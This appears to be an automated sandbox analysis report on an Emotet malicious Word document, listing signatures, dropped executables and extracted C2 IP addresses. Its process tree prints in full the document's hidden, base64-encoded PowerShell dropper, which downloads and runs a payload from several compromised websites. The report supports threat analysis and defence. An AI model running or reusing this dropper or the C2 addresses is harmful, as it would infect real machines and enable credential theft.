Overview

overview

10

task1

 

10

task2

 

10

Analysis

  • max time kernel
    123s
  • max time network
    131s
  • resource
    win7v191014

Sharing

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General

  • Target

    Docs_cc7d6d8e28fce962e81a6ba5c82f29bb.74

  • Sample

    191212-a6jbr25wd6

  • SHA256

    5df1f1341851c837a5892bd964c406fe101dd9154c3b5c1df36eb95372c604e0

Score
N/A

Malware Config

Extracted

Family

emotet

C2

190.146.14.143:443

85.235.219.74:80

78.187.204.70:80

46.105.128.215:8080

69.30.205.162:7080

192.161.190.171:8080

163.172.97.112:8080

86.98.157.3:80

113.52.135.33:7080

175.127.140.68:80

212.129.14.27:8080

200.41.121.69:443

143.95.101.72:8080

190.161.67.63:80

50.116.78.109:8080

37.46.129.215:8080

119.57.36.54:8080

212.112.113.235:80

46.105.131.68:8080

1.32.54.12:8080
rsa_pubkey.plain

Signatures

  • Suspicious behavior: EmotetMutantsSpam 2 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Drops Office document 4 IoCs
    dropperexploitermaldoc
  • Modifies registry class 1 TTPs 64 IoCs
    persistence
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Uses Task Scheduler COM API 1 TTPs 12 IoCs
    persistence
  • Executes dropped EXE 4 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Drops file in system dir 6 IoCs
  • emotet family
    familyemotet
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Emotet Sync 1 IoCs
    trojanbanker

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Docs_cc7d6d8e28fce962e81a6ba5c82f29bb.74.doc"
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Drops Office document
    • Modifies registry class
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Drops file in system dir
    PID:1184
  • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
    Powershell -w hidden -en JABZAGwAcABnAGQAegBtAGIAPQAnAFUAcwBzAGIAYgBtAHoAaAB1AGgAeABrAGUAJwA7ACQATABnAGUAZABrAGsAZABxAHcAIAA9ACAAJwAxADcANwAnADsAJABJAHoAegBxAHoAaABxAHoAdAB5AHoAPQAnAEEAaQBkAHcAagBxAG4AbABjAGoAeABlAGoAJwA7ACQARABiAGIAcwBrAHAAdwBhAHoAdgBmAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABMAGcAZQBkAGsAawBkAHEAdwArACcALgBlAHgAZQAnADsAJABFAG4AaABsAGsAcABxAG0APQAnAFkAbQBjAHQAaABjAG4AagBrAHUAeQAnADsAJABCAHkAdwB3AG0AegB5AHAAbgBlAD0AJgAoACcAbgBlAHcAJwArACcALQBvACcAKwAnAGIAagAnACsAJwBlAGMAdAAnACkAIABOAGUAVAAuAFcARQBCAEMATABJAEUAbgBUADsAJABGAGkAdgBsAHcAbAB6AG8AeQB1AHUAdABsAD0AJwBoAHQAdABwADoALwAvAGEAYwBxAHUAYQAuAHMAbwBsAGEAcgBjAHkAdABlAGMALgBjAG8AbQAvAHIAdABzAGIAZwBzAC8AWABpAFcAbQB0AFkAWQB1AHIALwAqAGgAdAB0AHAAcwA6AC8ALwBiAGwAbwBnAC4AbABlAGEAcgBuAGMAeQAuAG4AZQB0AC8AdwBwAC0AYQBkAG0AaQBuAC8AdQBzAGUAcgAvAG8AeABaAHEAUQBwAC8AKgBoAHQAdABwADoALwAvAGgAbwBzAHAAaQB0AGEAbABzAGEAbgByAGEAZgBhAGUAbAAuAGEAaQBuAGkAbQBlAGQAaQBuAGEALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAHYAdwBmAC0AaQA4AGcAZQAtADQANAA0ADUAOQAxADcALwAqAGgAdAB0AHAAcwA6AC8ALwBzAGcANwA3ADEALgBrAHcAaQBrAGYAdQBuAG4AZQBsAHMALgBjAG8AbQAvAHAAaABwAG0AeQBhAGQAbQBpAG4AXwBiAGMAawAvAHgAOQB0AGYAbgAtAGwAdgAxAGgANAAtADEANwA0ADEAMgA5ADUAOQA2AC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AcwBpAHkAaQBuAGoAaQBjAGgAYQBuAGcAagBpAGEALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBXAFkAcwB6AHMAUAAvACcALgAiAFMAYABQAGwASQB0ACIAKAAnACoAJwApADsAJABVAG4AaABjAGcAcQBiAG0AcABmAG0APQAnAFIAbgBmAGgAagB3AGIAaABsACcAOwBmAG8AcgBlAGEAYwBoACgAJABIAHQAYwBjAG0AbABwAGMAcwBsAGsAagAgAGkAbgAgACQARgBpAHYAbAB3AGwAegBvAHkAdQB1AHQAbAApAHsAdAByAHkAewAkAEIAeQB3AHcAbQB6AHkAcABuAGUALgAiAEQAbwB3AE4AbABvAGAAQQBkAGYAYABJAEwAZQAiACgAJABIAHQAYwBjAG0AbABwAGMAcwBsAGsAagAsACAAJABEAGIAYgBzAGsAcAB3AGEAegB2AGYAKQA7ACQAUwB1AGcAawB1AHoAaQBmAGwAeQA9ACcAQwBuAGoAdgBhAGMAaQBnAHEAeQBhAGwAegAnADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEQAYgBiAHMAawBwAHcAYQB6AHYAZgApAC4AIgBMAGAARQBOAGcAYABUAGgAIgAgAC0AZwBlACAAMgAyADkAMAA1ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAFMAdABhAGAAUgB0ACIAKAAkAEQAYgBiAHMAawBwAHcAYQB6AHYAZgApADsAJABDAHIAZwBpAGsAdwBqAGwAawBxAD0AJwBYAGgAagBoAGUAcQBkAHQAegBhAGEAJwA7AGIAcgBlAGEAawA7ACQAVwB2AHQAdQB2AGwAcgB3AD0AJwBUAHMAZQBuAGYAZQB5AGwAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUgBqAGoAcAB0AGcAaQBhAGsAawA9ACcAQgBmAG4AYgBwAHIAcABmAGEAdQBhACcA
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Drops file in system dir
    • Suspicious use of WriteProcessMemory
    PID:276
  • C:\Windows\system32\conhost.exe
    \??\C:\Windows\system32\conhost.exe "2063053404-2854132222099762677-45583753-1949206537-75580183817319469623359341"
    1⤵
    • Suspicious use of SetWindowsHookEx
    PID:1652
  • C:\Windows\System32\svchost.exe
    C:\Windows\System32\svchost.exe -k WerSvcGroup
    1⤵
      PID:1584
    • C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
      "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
      1⤵
      • Uses Task Scheduler COM API
      PID:1252
    • C:\Users\Admin\177.exe
      "C:\Users\Admin\177.exe"
      1⤵
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1564
    • C:\Users\Admin\177.exe
      --653e7fcf
      1⤵
      • Suspicious behavior: EmotetMutantsSpam
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      • Drops file in system dir
      • Emotet Sync
      PID:1848
    • C:\Windows\SysWOW64\texttoias.exe
      "C:\Windows\SysWOW64\texttoias.exe"
      1⤵
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1512
    • C:\Windows\SysWOW64\texttoias.exe
      --168b8c09
      1⤵
      • Suspicious behavior: EmotetMutantsSpam
      • Suspicious behavior: EnumeratesProcesses
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      • Drops file in system dir
      PID:548

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • memory/548-16-0x0000000000400000-0x0000000000495000-memory.dmp

      Filesize

      596KB

      Download

    • memory/548-15-0x0000000000630000-0x0000000000647000-memory.dmp

      Filesize

      92KB

      Download

    • memory/1184-4-0x0000000006315000-0x0000000006319000-memory.dmp

      Filesize

      16KB

      Download

    • memory/1184-5-0x0000000006315000-0x0000000006319000-memory.dmp

      Filesize

      16KB

      Download

    • memory/1184-0-0x0000000006220000-0x0000000006224000-memory.dmp

      Filesize

      16KB

      Download

    • memory/1184-3-0x0000000009000000-0x0000000009004000-memory.dmp

      Filesize

      16KB

      Download

    • memory/1184-2-0x0000000006315000-0x0000000006319000-memory.dmp

      Filesize

      16KB

      Download

    • memory/1184-1-0x00000000063F8000-0x00000000063F9000-memory.dmp

      Filesize

      4KB

      Download

    • memory/1512-13-0x0000000000340000-0x0000000000357000-memory.dmp

      Filesize

      92KB

      Download

    • memory/1564-8-0x00000000002E0000-0x00000000002F7000-memory.dmp

      Filesize

      92KB

      Download

    • memory/1848-10-0x0000000000370000-0x0000000000387000-memory.dmp

      Filesize

      92KB

      Download

    • memory/1848-11-0x0000000000400000-0x0000000000495000-memory.dmp

      Filesize

      596KB

      Download